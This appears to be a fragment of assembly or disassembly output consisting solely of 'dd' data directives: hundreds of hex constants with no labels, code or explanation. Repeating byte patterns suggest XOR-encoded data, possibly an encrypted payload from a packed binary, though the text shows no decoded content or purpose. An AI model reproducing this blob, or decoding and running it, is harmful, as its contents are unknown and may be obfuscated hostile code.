dd 6BE1A66h, 0E8321566h, 44321F8Fh, 2C788D66h, 9E35F0A1h
dd 90F429Ch, 1B3E7CA1h, 0A709746Eh, 17261D57h, 88009169h
dd 54DB1566h, 0B7321566h, 0BB0D85F2h, 224CF5E0h, 47C4DD39h
dd 19A6E927h, 53204E3h, 96B71A60h, 4B321566h, 22321EE8h
dd 1134FC66h, 6B561566h, 669B0C60h, 0DDCCFF8Fh, 77CA7599h
dd 510AFCE7h, 0C5B72E07h, 2D340143h, 1132B5E3h, 883EFC66h
dd 85161566h, 4F6359CEh, 0DC775695h, 35B190A2h, 422607ABh
dd 73B61A66h, 71321566h, 883DFC9Ah, 175D1566h, 8E7645EDh
dd 1A3EE66Eh, 8FB9E4Ch, 0C7C774E2h, 363244DBh, 953D1560h
dd 8832153Bh, 0B3B97306h, 2232078Eh, 942F9D66h, 0CB220466h
dd 0F65ECAB6h, 0BB291257h, 0F94F74C0h, 8832156Fh, 3FEE37D7h
dd 68F8E317h, 70684BBEh, 0C2AE90EBh, 54DB137Dh, 81321566h
dd 176302A0h, 4037B989h, 3B8B63FAh, 0CB9FB154h, 0EECDEB21h
dd 88399169h, 0C4521566h, 0A23D9F88h, 11321566h, 9B72E07h
dd 4B340143h, 0DDCC3FE2h, 0ACB1E999h, 8E296DEAh, 6EB71A67h
dd 0CB321566h, 11321563h, 74E3631h, 84B72E7Fh, 2D340E1Eh
dd 113201E3h, 0DBFE066h, 446B1E82h, 0F48D1A06h, 0F853DED1h
dd 77CDEB54h, 4BCD249Ah, 223200EEh, 9A547566h, 8839FCBFh
dd 2E841566h, 0A2715589h, 3D3CB4D8h, 35B174ADh, 42263EF3h
dd 8BB61A66h, 1E321577h, 88321EE9h, 0ADB37566h, 704C32EEh
dd 70ED9E00h, 8832188Fh, 86467666h, 2DCEF7E5h, 0E218F60Eh
dd 0D09A4F0h, 42296DCAh, 22729069h, 3DB1566h, 0D0321566h
dd 2F58BFDDh, 0EAE2237Bh, 48351A07h, 0F5194CF7h, 0A5B79EFDh
dd 0CB340162h, 11321572h, 0EFADD57Fh, 0D4D424E5h, 142B6817h
dd 0FA10D392h, 0AAD91EBDh, 0BB63DAE1h, 0A56B3162h, 9409E9A9h
dd 8E296DD2h, 44649069h, 0AB3D1566h, 11321567h, 81B79E9Ah
dd 4B340157h, 22321DEDh, 13B61A66h, 0E8321566h, 0BB8F4007h
dd 0BCDEA99h, 0F9524889h, 88321577h, 0F0406B9Eh, 0E96DF6EDh
dd 81F3A933h, 26002C24h, 4420FCDFh, 52B71566h, 6CCB18ECh
dd 15863937h, 22A6468Ch, 1F87CA09h, 70E89F39h, 0F082905Dh
dd 0C13D137Dh, 2232152Ch, 0D4B79E9Ah, 0E8340174h, 0ADCDA269h
dd 22321577h, 4D80AC75h, 303C60DFh, 75E880FFh, 0D18286D9h
dd 0A86374D2h, 0A530676Dh, 0C9C4D4E7h, 0ED33C79Bh, 0A63D753Fh
dd 84DA75A1h, 0C3321566h, 0E5BA4279h, 5C4DAFE9h, 0D3A64453h
dd 0C1097407h, 24296DDEh, 11649069h, 82DB1566h, 30321566h
dd 0B98E125Ah, 1E160004h, 883CFC66h, 58CE1566h, 7F613C5Dh
dd 0BE0E4921h, 3348CD4Bh, 496390EDh, 42CA1372h, 4DEB9537h
dd 60B37339h, 1553AC7Eh, 223214DFh, 48FD1466h, 88321D8Fh
dd 83A77166h, 6FD9C954h, 0E0B9750Fh, 819CAD06h, 25534888h
dd 5A8E905Dh, 943D137Dh, 8832152Bh, 4432018Fh, 0B19B6D66h
dd 0BF2F869Ch, 8B38AAB4h, 0FEA7ECD3h, 6928604Bh, 10B61A97h
dd 74321566h, 691F90EDh, 30DB1372h, 0F4321566h, 0CDD76883h
dd 0B9E81C59h, 0CA704CA0h, 0B34E1D49h, 0FE8C43AEh, 0C571C36Ah
dd 0F43E6088h, 4FC51425h, 48B72E9Eh, 4B340E1Eh, 223270E3h
dd 1E607566h, 883215E6h, 4DDB4B66h, 7321566h, 0D702778Ah
dd 0B2BD5230h, 79B79E07h, 0DE34016Ah, 11321C8Fh, 9A0C5566h
dd 0F749A33Fh, 9A62D1DEh, 2470342Dh, 0BDEAE226h, 8E8FCBD3h
dd 2D6AD267h, 113235E5h, 0A3D7566h, 44321566h, 2232068Fh
dd 5739FD66h, 179940FEh, 37A185DEh, 9450573Dh, 4790DFB8h
dd 0D09E907h, 42296DA2h, 225E9069h, 2DB1566h, 8C321566h
dd 0FC88AB4Dh, 7A7EF403h, 14C01576h, 5D08DE98h, 0C1B96980h
dd 242600A3h, 0E7B37306h, 84DBECABh, 0A8321566h, 539F6192h
dd 8A549D96h, 0E973BD7Ah, 0BBCDAB30h, 0D51BEA99h, 14BF1A38h
dd 0E8321566h, 25F4AA69h, 31DB7506h, 51321566h, 0A745E4AEh
dd 0BFC46527h, 408F34C7h, 0CB168FF1h, 0A3DC56Ch, 44321566h
dd 0A7097407h, 17296DAEh, 88439069h, 4B521566h, 223213ECh
dd 0F0DC9466h, 7162C48Fh, 0C1B9EC07h, 24261AB7h, 11389F69h
dd 8DDB1566h, 18321566h, 0B70BAA31h, 101AAE35h, 5BC51199h
dd 0BAE4FEE7h, 0FD33EE66h, 953D753Dh, 88321565h, 0ACF9A269h
dd 2232156Dh, 347AF86Bh, 0D7C2EB4Eh, 228DBA18h, 0B5C0C7E7h
dd 973D743Fh, 88321575h, 44321B8Fh, 5597DA66h, 40D794E5h
dd 739D6FC2h, 7F5A6D6Eh, 394AD9E3h, 3AB71A60h, 0E8321566h
dd 25CAC2EDh, 3FB790EDh, 71521372h, 4D2CFEE7h, 0C43D4D27h
dd 22321566h, 0A8637407h, 88321567h, 4B6BDA67h, 223214E2h
dd 9409EC66h, 8E296DB6h, 440A9069h, 30DB1566h, 79321566h
dd 2A284767h, 0AA9BDE0h, 5FD7F0BBh, 180D5083h, 15B79EBCh
dd 4B340143h, 223214E7h, 0AF64EC66h, 77CDEA99h, 0AD6CE24Fh
dd 22321560h, 0AE526313h, 0D092AEEh, 42296DBEh, 220E9069h
dd 9C3D1566h, 88321577h, 4432198Fh, 16160966h, 76579B9Ch
dd 0E9C9C8Fh, 51B79E4Ah, 0CB340153h, 1132156Dh, 8284E393h
dd 0B638B22h, 70089069h, 113214DCh, 0D2E51466h, 9AB97306h
dd 0A7097493h, 17296DB2h, 887D9069h, 0CE521566h, 9FB174A8h
dd 1726356Fh, 0B6B71A66h, 0AD321566h, 2232156Ah, 97A83C86h
dd 989DDC36h, 0B0AB3C37h, 3FB79E93h, 1E34016Bh, 883212E2h
dd 45B51A66h, 0D7321566h, 0EECDAE35h, 571BEA99h, 4439FC3Dh
dd 2F3F1566h, 0A9925DD4h, 450E5CDh, 458F96DCh, 2234017Bh
dd 11639169h, 0F3D1566h, 4432157Dh, 22279269h, 1DB1566h
dd 0F4321566h, 17156BC1h, 7187E8E5h, 4DC681CFh, 0B3093FBDh
dd 5F4B75E3h, 6B71A60h, 0E4321566h, 0A72390EDh, 0CB3D1372h
dd 22321561h, 11339169h, 0DBC71566h, 443214DDh, 79ED1466h
dd 11339F69h, 0BCA1566h, 503B5CDBh, 0A63D1560h, 113217FEh
dd 882C9F69h, 4B521566h, 36DBE3D1h, 0AD321566h, 0E08D1595h
dd 478362D5h, 0D7FC77CCh, 733B0228h, 0E9918E8Dh, 755FA8E5h
dd 2D321372h, 113072E2h, 883EFC66h, 0F3821566h, 501F6CEAh
dd 9E732167h, 0D092572h, 42296C22h, 220F9069h, 9ACE1566h
dd 9C2774E3h, 0B8527560h, 22321F8Fh, 0E8862D66h, 36CFD790h
dd 256E0472h, 2232198Fh, 50324066h, 16A5D345h, 0E26780A4h
dd 9C647473h, 11321567h, 706CE267h, 44339369h, 19CE1566h
dd 0A4B41E3h, 0B5B71A60h
dd 24321566h, 2232078Eh, 45CFA566h, 0B45FC5E7h, 0F802ED28h
dd 5A676A74h, 0F82EDCC9h, 8832156Fh, 25507AB5h, 3D29E847h
dd 0AB524DFDh, 0A3EAE0ABh, 0C1B97407h, 24263BA3h, 3DB14293h
dd 746DEA42h, 3D7A905Dh, 0A73D137Dh, 1132150Eh, 883E9569h
dd 0C03D1566h, 22321560h, 11329669h, 0E3D1566h, 44321567h
dd 2BB79E9Fh, 1E340147h, 88321DEDh, 46BA1A66h, 42321566h
dd 0AF64ED07h, 0A85400BDh, 72C1F3E7h, 0D4B30C1Eh, 2FBB3702h
dd 0BE8AFBE7h, 0B31B2B8Fh, 2D527538h, 113215E5h, 0E96C4366h
dd 4439FD36h, 0F9B21566h, 52FBD9A8h, 5704A73Dh, 256B4B54h
dd 5B6A905Dh, 943D137Dh, 88321535h, 4432198Fh, 965E9C66h
dd 54E3673Bh, 2A98D605h, 61B79E10h, 2D34017Bh, 11321EECh
dd 8834FC66h, 2AEF1566h, 7133DE1Dh, 3A6AAB30h, 66F30E5Dh
dd 41DCD461h, 0E4B3C391h, 7D006A4Bh, 0BCB5D3E7h, 0B33386A9h
dd 2AB51A38h, 1E321566h, 883217E5h, 7F537566h, 394B49E3h
dd 41B71A60h, 0E8321566h, 44379769h, 0A3541566h, 9A623E88h
dd 33D74BFh, 4432157Dh, 2223FC06h, 0B121566h, 8D1E25EEh
dd 2F6A582Eh, 371B30CDh, 7735623Fh, 353DBEDh, 503B4CE3h
dd 44807560h, 0EE8F4007h, 0A1CDEA99h, 0C5524889h, 91A52786h
dd 6B80AE7Eh, 0B35369BAh, 5F4B59E3h, 1AB71A60h, 1E321566h
dd 883219E2h, 9FB37566h, 6E5EADB2h, 40B2AD00h, 11B79E07h
dd 0B8340168h, 5237AC37h, 0F0E3054Dh, 0E9FB942Fh, 0C536A641h
dd 2A2A8DA7h, 48FD14BDh, 88339469h, 7FCA1566h, 394B45E3h
dd 54B71A60h, 87321566h, 44320DEAh, 2221FC66h, 4FB01566h
dd 89D7644Eh, 2498DCC3h, 0D24490C5h, 504CAC21h, 0F5B79ED7h
dd 0BC340162h, 0DDCDAB30h, 0E61BEA99h, 99B61A38h, 0AD321566h
dd 2232156Ah, 0D59F8C86h, 0E6D06003h, 9B276AB4h, 135FA8E5h
dd 1E321372h, 883826E2h, 43B11A66h, 42321566h, 77DC9400h
dd 0D097446h, 42296DBAh, 221E9069h, 90521566h, 65EE5B91h
dd 25F39E70h, 22339E69h, 9ACB1566h, 9C2B24E3h, 4434FC60h
dd 60A11566h, 0D906178Ch, 8833AE35h, 9B331566h, 0A709E03Dh
dd 17296C16h, 88659069h, 0C13D1566h, 22321567h, 70B79E9Fh
dd 61340164h, 4432156Eh, 33AB39C2h, 23A30509h, 0BB5EAD36h
dd 94C51E51h, 0FAC5CD91h, 0D9FE814Bh, 0D0F53C92h, 0C73D759Eh
dd 22321564h, 0F9527406h, 88321576h, 1EC3200Bh, 611139C0h
dd 5A712CD3h, 0F2DA129Eh, 44BA1A3Eh, 43321566h, 0F1B72E07h
dd 87340E1Eh, 44325BE3h, 0AE3D7566h, 11321565h, 0EE68FBE6h
dd 0CF53C3EDh, 36170CE3h, 1121FC60h, 1F751566h, 23FCC8Fh
dd 0F99B65DCh, 51C42247h, 0F80869A6h, 458C434Fh, 23321566h
dd 5DB4B91h, 7E321566h, 97641F3Eh, 196B1477h, 1B507D2h
dd 0DB7194DFh, 7FE35679h, 394AF1E3h, 53B71A60h, 87321566h
dd 443202EDh, 2220FC66h, 5FA1566h, 2AF18E2Dh, 83E3F173h
dd 0F061BDE8h, 1E6701F4h, 9A8790EDh, 54DB1372h, 0B7321566h
dd 18EDC622h, 277FBCDCh, 0B165F7F2h, 70ACE34Bh, 113214DCh
dd 0D2E51466h, 0ACB72E9Ah, 2D340E1Eh, 11327BE3h, 8822FC66h
dd 0A9B31566h, 0A9B84B72h, 9E40EE0Fh, 580FB4D9h, 0C1B94B2Fh
dd 24263E53h, 0F3B37506h, 8C5D8BE6h, 44321C8Eh, 0FCFEE066h
dd 406A96E6h, 0E9688AC7h, 44321F8Eh, 3CCC9B66h, 0BD210433h
dd 3D7930Fh, 4B534B95h, 223219E6h, 1135FC66h, 0E3861566h
dd 85FE5391h, 308847E6h, 9029643Eh, 3067A894h, 14F0945Ch
dd 0BEC2394h, 2AC74FB1h, 934AF9E3h, 72B71A60h, 0DB321566h
dd 313BA8E5h, 87321372h, 44323DE3h, 2EBC1A66h, 1E321566h
dd 883213E2h, 44B01A66h, 0A9321566h, 5100CE3h, 0EECA7560h
dd 1253CDEDh, 223214D8h, 4FC51466h, 78B72E9Ah, 4B340E1Eh
dd 22327CE3h, 1EBA1A66h, 61321566h, 4432156Ch, 702C509Ch
dd 6DE8DBA7h, 0DB9BA72h, 42263443h, 0A2D79F06h, 1E534390h
dd 883202E3h, 4420FC66h, 6BE81566h, 4A7F0826h, 0F0D54232h
dd 34A32BD7h, 7D98140h, 0EECDAF34h, 5F1BEA99h, 443FFC3Ch
dd 6081566h, 0EE4B0B9Ch, 8C9ADCE5h, 24411A4Bh, 0D0B6A3DCh
dd 9B3D4203h, 88321566h, 0C109743Dh, 24296D92h, 11779069h
dd 83D1566h, 44321567h, 2B8F969Eh, 11340146h, 88039069h
dd 48DB1566h, 18321566h, 0BA5FCCEFh, 1A401131h, 0CFAE9792h
dd 361BA8E3h, 0E6B97560h, 0E9CC9E00h, 0BBCDAE35h, 0FD1BEA99h
dd 1137FC3Dh, 27051566h, 7F536A18h, 394AEDE3h, 48B71A60h
dd 61321566h, 44321577h, 220D9335h, 75DC8B6Dh, 21B85160h
dd 3A3F141Bh, 1BB79E2Bh, 0F834017Bh, 8832156Eh, 0D07FB931h
dd 0EAC000AEh, 11239A69h, 93D1566h, 4432156Dh, 2232138Fh
dd 0D2D9DF66h, 0D9ABD214h, 443214DFh, 7BFD1466h, 11389069h
dd 87521566h, 0A58DC3D9h, 432D8841h, 69CE905Dh, 0D3D137Dh
dd 4432152Dh, 22321E8Fh, 1CB1B666h, 83D4CFBEh, 0B8F6EBF2h
dd 0EBF90EDh, 9D3D1372h, 8832156Ah, 82B37306h, 0A3540C9Dh
dd 70C9FCBCh, 0C840AE35h, 0A7F37934h, 5D99465h, 0D0451210h
dd 7BB31285h, 380047A3h, 3B88D6E7h, 0CE1B53EDh, 0B3C7E93Dh
dd 5F4B11E3h, 72B71A60h, 0E9321566h, 0A83BA8E5h, 4B321372h
dd 223257E3h, 1120FC66h, 5D7A1566h, 57415ECAh, 5B82ECB0h
dd 0D020E3AFh, 0DD6557E8h, 740390EDh, 70C71372h, 113214DCh
dd 0D2E51466h, 4421FD06h, 60DB1566h, 2997233Eh, 1D272862h
dd 0CAD833A8h, 611DFCF3h, 2A534E47h, 934B15E3h, 11B71A60h
dd 2D321566h, 11320CE8h, 8826FC66h, 2A5D1566h, 4620813h
dd 0FC0B3212h, 4543959Ah, 5EF4895Eh, 9FB10ED8h, 1726356Fh
dd 0A1B71A66h, 0AD321566h, 2232156Ch, 6B6C11A5h, 0EA6BB3A7h
dd 0C1B9F5BDh, 24261657h, 1088479Eh, 89321566h, 41DB4FB1h
dd 4A321566h, 0E68097DCh, 0F13A905Dh, 0C13D137Dh, 22321504h
dd 1132058Fh, 0EBF61666h, 87D8D16h, 8C2DDD28h, 1CDFE5DAh
dd 1B79EF4h, 2434016Fh, 22219369h, 1CDA1566h, 18321566h
dd 1133E0C5h, 2CDACE8Ch, 35B533D3h, 8837FD39h, 0F5FF1566h
dd 2D44DC9Fh, 113215EEh, 0DB534F66h, 0BBCDEADDh, 79ED3C99h
dd 113E9769h, 0D3D1566h, 44321560h, 22329C69h, 94091566h
dd 8E296C6Ah, 440E9069h, 32DB1566h, 3321566h, 0E029CD52h
dd 0B8593E19h, 46AD5200h, 9A478887h, 9C30CCE3h, 0FD63E960h
dd 22321567h, 0F86BDA67h, 88321574h, 926A77E2h, 5224FB86h
dd 34F91A13h, 62BEA7EFh, 0C109B24Ah, 24296C76h, 111E9069h
dd 8FDB1566h, 0FD321566h, 0D43463D5h, 94B9F7E7h, 8E2615CFh
dd 458A459Ah, 23321566h, 1ADB4DA1h, 8D321566h, 43AF7E8Ch
dd 7CCB9951h, 9409F7B3h, 8E296C72h, 44109069h, 0A9CB1566h
dd 5107CE3h, 3F3D7560h, 0D7DB94BEh, 4379F4A6h, 1133AD36h
dd 4F331566h, 0C554753Eh, 438A4994h, 682A905Dh, 0D3D137Dh
dd 443215FBh, 22279C69h, 1DB1566h, 24321566h, 8AAC227h
dd 0D798D9C7h, 968D9064h, 3545791h, 5022F4E3h, 24DB7560h
dd 0E8321566h, 4DAFA44Fh, 878D1A0Fh, 223CFC07h, 0C8A01566h
dd 11D9AD06h, 2BC862B0h, 0EB85F685h, 4D59AE35h, 0CB796AC3h
dd 4663FEE7h, 0D1B348DEh, 30DF4F7Dh, 8769CA67h, 44320FE2h
dd 36B31A66h, 0F8321566h, 88321569h, 4066FF42h, 0E49D1A7Fh
dd 251EC49Dh, 0E8C9D6A4h
dd 4432018Eh, 0A65BDF66h, 0E6CBF2A8h, 758E0492h, 0BA5A71AEh
dd 55801756h, 36897350h, 5EB94A83h, 58B72E07h, 2D340E1Fh
dd 113255E3h, 3CBEC66h, 501654E3h, 223EFC60h, 4E301566h
dd 0C8F2EB6h, 693098B4h, 0CEB116EBh, 350E9C62h, 0D7161199h
dd 44321A8Fh, 0A18A5D66h, 0A5C6B936h, 7D73CFA3h, 1992C611h
dd 0C9B37306h, 9385411Ah, 0A8B72E07h, 4B340E1Fh, 223259E3h
dd 1ADA7566h, 0D1321566h, 39D2CE04h, 0CF52414h, 70689F23h
dd 0AE7790EDh, 55DB1372h, 10321566h, 0D5125305h, 8002F148h
dd 0E6014671h, 0B8E55603h, 0EECDAC37h, 471BEA99h, 443DFC3Fh
dd 0B2C1566h, 8C77061Eh, 0B0875517h, 86C4ECD2h, 6B72E9Bh
dd 1E340E1Fh, 883254E3h, 443FFC66h, 52871566h, 53379BBCh
dd 0AA708EBAh, 0CF04AB69h, 361BB0E3h, 943DE060h, 8832156Ah
dd 44349969h, 0AA3D1566h, 11321566h, 8833A833h, 0AB331566h
dd 25BC1A3Bh, 1E321566h, 883214EFh, 0C109E066h, 242636B3h
dd 11039069h, 86DB1566h, 7D321566h, 8BA9CC89h, 0B59F6C6Ah
dd 4A40C1B0h, 0BDB79E47h, 2D340170h, 113212EBh, 0D1657566h
dd 2569D1E6h, 2233AF34h, 0C6331566h, 0B3CAEC3Ch, 5F4B3DE3h
dd 0DB71A60h, 71321566h, 87B0C8E6h, 443217ECh, 437EA366h
dd 49F90EDh, 43D1372h, 4432156Ah, 1864AA06h, 90545024h
dd 0E9FDBD8Fh, 0BE03C257h, 0A570C257h, 9409E9B1h, 8E296C02h
dd 445E9069h, 0A53D1566h, 11321568h, 88321C8Fh, 675A5A66h
dd 0A92D1E39h, 0ACB1434Ah, 8E296C0Ah, 5AB71A66h, 0CB321566h
dd 1132156Dh, 108549D6h, 0B1B5384Ah, 0A1608FBBh, 51E4CDBh
dd 0C3D1560h, 44321548h, 0BBB79E9Eh, 1E340142h, 88321FE0h
dd 4437FC66h, 0F7911566h, 41BC7333h, 77CDEADEh, 1CF53C99h
dd 223A9569h, 90521566h, 0EE94DA97h, 0C1097458h, 24296C0Eh
dd 11429069h, 82DB1566h, 0E4321566h, 74DAC619h, 0F9C55807h
dd 0E48F96ECh, 44340E1Fh, 22169069h, 953D1566h, 88321567h
dd 0F9B1ED9Ah, 2426393Fh, 2EB61A66h, 0E8321566h, 44339369h
dd 2DCB1566h, 113215E7h, 0DB97466h, 42261EDFh, 0CA8AAA06h
dd 1688437Fh, 0E944C119h, 1D6D4431h, 2DFD9227h, 113204E4h
dd 83B11A66h, 0AD321566h, 22321560h, 0D1655208h, 0D09088Bh
dd 42296C4Ah, 221F9069h, 9ACA1566h, 9C29A0E3h, 443AFC60h
dd 47D21566h, 5BC8ADFFh, 3567810Eh, 0BBCDEA99h, 0CB6FFA4Fh
dd 1132156Dh, 315C3EF2h, 97DA73A1h, 1992CD45h, 0A4B25E3h
dd 0C6B71A60h, 4B321566h, 22320CE4h, 1DB7566h, 1D321566h
dd 0C66EBC2h, 0A78ACF64h, 0E14F6BDBh, 0E8946BA2h, 0C1B97407h
dd 24260927h, 108A459Ah, 89321566h, 0F1524DA1h, 223EFC0Eh
dd 7E0C1566h, 0BF111581h, 250A6DDEh, 4253A2B9h, 0A741A5DFh
dd 71851A26h, 70B72E07h, 2D340E1Fh, 113244E3h, 89B41A66h
dd 0B1321566h, 0BAB90EDh, 1DB1372h, 56321566h, 76CD77B3h
dd 8DC06742h, 0F388DD65h, 6156F46Bh, 44321572h, 82BE6571h
dd 0A3A6AA7Ah, 0F155A0CFh, 70DC7B20h, 80AA7812h, 0EECDA833h
dd 671BEA99h, 0CF54753Bh, 20B61AA4h, 0A6321566h, 0D09743Bh
dd 42296C5Eh, 22719069h, 923D1566h, 88321561h, 44339E69h
dd 2DCE1566h, 113214E1h, 0DB9E966h, 422605D7h, 0F8897306h
dd 1138FC0Ch, 0F57A1566h, 0BE8349CCh, 0DB0DE07Fh, 108F4007h
dd 89321566h, 42DB4889h, 37321566h, 188B5D17h, 0B4B72EEAh
dd 4B340E1Fh, 223226E3h, 94B9E966h, 8E260903h, 0B3B37306h
dd 2D52FAC0h, 113215EEh, 0F4897366h, 14537478h, 0DDCDEADEh
dd 49F53C99h, 88321E8Fh, 0D7B8A366h, 1AFD33CBh, 5E698B88h
dd 0F172905Dh, 0C13D137Dh, 2232155Ah, 1132128Fh, 351C1A66h
dd 357AACBFh, 2232138Fh, 8A739D66h, 3B9EAD7h, 502B24E3h
dd 2222FC60h, 7CE1566h, 2876D1E0h, 9002D502h, 23C0D102h
dd 0A96205D2h, 77CDEA99h, 0BD6AD24Fh, 0A63DEA6Dh, 11321552h
dd 33544206h, 246ACFD4h, 2DF49E00h, 7053D5D9h, 8832078Fh
dd 86C51266h, 0C070CED2h, 0A2962DA3h, 305D5C95h, 0AD2E51A6h
dd 0DDCDF94Ch, 0D8851A06h, 0E9E8AA69h, 7063905Dh, 0A73D1372h
dd 11321528h, 0DEB7989Fh, 4B340E66h, 223214E7h, 12DBED66h
dd 0E8CDEA8Ah, 44321A8Fh, 1EC9466h, 731A8CD3h, 0CFD9BBB2h
dd 62B7C62Ch, 2232188Eh, 0D322FF66h, 710FD5E1h, 89DFA5ABh
dd 2EDB79BAh, 81321566h, 0B2CD8F0Eh, 73E321F7h, 79B3F2C0h
dd 9409ED07h, 8E261CDBh, 447F9069h, 75521566h, 0AF91E7E7h
dd 366C6493h, 5D48E187h, 0AE8F9607h, 10340E1Eh, 88039069h
dd 0C9CB1566h, 7B3972E3h, 19B01A66h, 87321566h, 443217E3h
dd 0CB537566h, 0EECDFEE0h, 8DBC1A06h, 22321566h, 5046C4E7h
dd 11369869h, 37541566h, 7F53B81Bh, 394A89E3h, 3FB61A60h
dd 0E8321566h, 44309969h, 0D5B91566h, 0B1B72E07h, 87340E1Eh
dd 44323DE3h, 30B21A66h, 0F8321566h, 8832156Bh, 0B0321718h
dd 98B79ADEh, 351A2E5Bh, 6302FC96h, 24CBEA99h, 9DE19E00h
dd 292E2E85h, 8CDE9607h, 0FC1611EFh, 22321566h, 0F86AD3EFh
dd 88321560h, 2498DCC3h, 0DCB190C5h, 0A8B71A67h, 7D321566h
dd 3CA2905Dh, 0A73D137Dh, 11321520h, 88359269h, 0C03D1566h
dd 22321567h, 0D5B79893h, 61324DE1h, 4432156Bh, 1082593Fh
dd 0AB54ACF9h, 0A708F0F6h, 0FC54752Ch, 4252ADC7h, 7059AF07h
dd 0E95314DEh, 0BBD8A88Fh, 25BB1A99h, 1E321566h, 883214E6h
dd 0C109ED66h, 24296DF2h, 11189069h, 5CA1566h, 1CBA2FE3h
dd 0CF8B7566h, 7719D71Ch, 2589FDE7h, 0CFDBE007h, 2DCDEA8Ch
dd 11321EE9h, 8834FC66h, 29891566h, 0F3D3C5E3h, 69AA905Dh
dd 0D3D137Dh, 44321542h, 2232108Fh, 0F673C966h, 0DBFFFD4h
dd 446A9D19h, 223A9E69h, 953D1566h, 88321564h, 0FDB7406h
dd 0DBCDEA8Ch, 35369E36h, 8836D1E7h, 0C33D1566h, 22321570h
dd 1132048Fh, 953C1566h, 5525939Dh, 1D789E9Bh, 0C7130DC2h
dd 31633769h, 2822738Fh, 0CBF3CC91h, 50E3E263h, 0C604AE35h
dd 0AFE3604Dh, 4447E6E7h, 0FAF30C2Eh, 9E1E262h, 196D3695h
dd 79EB149Fh, 0ED6BDBEFh, 0D3DE36Dh, 44321570h, 0CB9BFC9Eh
dd 1ADBEA99h, 4A321566h, 6E7A791Bh, 654056CCh, 0FDB334CDh
dd 88321562h, 0CD1619EFh, 7BFC9CA7h, 0BCC39406h, 0EE0D16B5h
dd 254523DFh, 26C7A0EFh, 98CB1372h, 9C13A0D3h, 43B81A60h
dd 2D321566h, 113214EFh, 0C3DE966h, 44321561h, 22339469h
dd 91CE1566h, 0D3DFC58h, 44321466h, 223F9269h, 0A8521566h
dd 94C27468h, 44329D69h, 72531566h, 113214DEh, 0D9C21466h
dd 443215DFh, 0A9F31466h, 1E6A4C5Fh, 883201E2h, 443DFC66h
dd 2C141566h, 9723EBCDh, 0E83C38BBh, 0EB0457C1h, 2DF594E1h
dd 1001751Eh, 878A4591h, 6D01751Eh, 9D524DA1h, 34EA9366h
dd 0DE53E1ECh, 6D1611E7h, 7904D413h, 43FCAD36h, 2D1F2694h
dd 6DCF25BBh, 0A43D4DA5h, 11321574h, 8832188Fh, 0BF376466h
dd 0A9CA2A88h, 0DF36A6E1h, 0D860DD01h, 334ABDEh, 648CAF66h
dd 0D31B1521h, 0D2E1143Eh, 0B18F2E9Eh, 2D340162h, 11322BE4h
dd 81B31A66h, 24321566h, 0A3544B34h, 70327D94h, 0E3DEE5Dh
dd 44321526h, 2232078Fh, 8DC97666h, 5C5EBC5Dh, 21CED5A6h
dd 7554D95Bh, 71950FFFh, 8832138Fh, 3582F466h, 2D6D10FBh
dd 0F853E5D1h, 77CDFD05h
dd 4432138Fh, 89E7A466h, 71427E79h, 535AA00h, 25EA9E00h
dd 3A87A8EDh, 0F8521372h, 88321577h, 5B8CA364h, 243D6F62h
dd 96D97BEBh, 90C37635h, 95B37382h, 0E5536B07h, 521B4E3h
dd 88321560h, 24CEE966h, 22339B69h, 98CE1566h, 9C13A0D3h
dd 45BF1A60h, 0DE321566h, 0EDED88EBh, 8752137Dh, 443213ECh
dd 0ACF59466h, 7033BC2Eh, 0E852C699h, 4BF8A269h, 0CA53EFD1h
dd 11321576h, 0DA1ED2A9h, 0A57FE6B1h, 1C9F4E42h, 7BF2B93h
dd 0D1E49E00h, 4BF21E07h, 22325AE2h, 0F9527566h, 88321574h
dd 29A4A25Ch, 894DFDD4h, 2030BC5Fh, 0F8A2991h, 256BFA70h
dd 22379B69h, 77881566h, 0E96F8578h, 4435FD06h, 1F311566h
dd 5A4AA42Ch, 68B373F9h, 2468AC4Bh, 43534B31h, 1132968Fh
dd 3F3D7566h, 77E494BDh, 434AFCE6h, 9FEE88EBh, 53D137Fh
dd 4432156Ch, 2D2DA506h, 113215EFh, 5BCD7466h, 0BB779669h
dd 25DBEA99h, 2A321566h, 880BF551h, 0F1B9B923h, 242634D3h
dd 0B0879C93h, 61340175h, 4432156Dh, 0ECC3915h, 10D1003Dh
dd 530C95Dh, 5EA4E3FBh, 2222FC60h, 0D8A41566h, 0A85714C3h
dd 7EB670CBh, 8B144ACEh, 0C2CD7D87h, 88321A8Fh, 0F60BD766h
dd 0FD0D7EBAh, 0E5FCC6A3h, 1C24FF38h, 40C790EDh, 0CA521372h
dd 1132156Fh, 0FE1D4318h, 8D66B03Ch, 0A86AED3Dh, 94BB74A1h
dd 8E2634D3h, 44339169h, 43CB1566h, 1EC99E06h, 883211E0h
dd 0A08C7366h, 1CB2746Dh, 0B2B71A8Eh, 87321566h, 443214EFh
dd 9FB1EC66h, 1726165Fh, 7B61A66h, 0AD321566h, 2232156Ah
dd 0F72781BEh, 5A650C5Ah, 93E0A328h, 1436BAD6h, 3537FDA6h
dd 48F2EB6Ch, 0F3611D8Eh, 0A2F5EB5Ch, 0E91A3189h, 1E8C753Dh
dd 0BC71D173h, 2235FC07h, 0D30B1566h, 1D354E30h, 0C7C7BFDEh
dd 16BB118Ah, 14C74D42h, 0E2AC59C3h, 0F967ED4Fh, 48AC59C3h
dd 716FFD4Fh, 4A9CEADEh, 0A1C5940Ch, 431CAB2Ch, 1136F9E7h
dd 0BCBB1566h, 4436AB42h, 0D21B1566h, 1AB91A38h, 61321566h
dd 44321560h, 0EF1F575Ah, 0E89950FAh, 8830008Fh, 0D9BFEC66h
dd 2429F6F6h, 11389B69h, 8DDB1566h, 0FE321566h, 0DAD2A56Ch
dd 9CCAC699h, 93CA15FBh, 4EB11A60h, 42321566h, 913DEDEDh
dd 88321566h, 4434FC07h, 98671566h, 0E2132A8Bh, 252C699h
dd 0EA6CAF83h, 0DA536795h, 943DD56Dh, 88321579h, 4432018Fh
dd 53DED766h, 49F5DEE7h, 145208E3h, 1C9C96C8h, 0C689C7F4h
dd 1127FC89h, 0BC71566h, 5013A0E3h, 0A33D1060h, 11321567h
dd 76E6FC9Eh, 0C9CAEA99h, 39C832FBh, 1135FC60h, 0F7DA1566h
dd 469B2CCDh, 0CBE1EA57h, 11321572h, 5317717h, 0CBE0D6Fh
dd 84CB2Ch, 0FDC31A1Dh, 8FAE92E8h, 0C13DD56Dh, 22321561h
dd 110DFC9Eh, 0D9CB1566h, 443211DFh, 4BD89466h, 101DBE2Ch
dd 0E1F094ACh, 1D1DBE2Ch, 22321E8Fh, 0B18ADA66h, 95D1C4AEh
dd 7127C818h, 2233388Fh, 1FBA1A66h, 61321566h, 4432156Fh
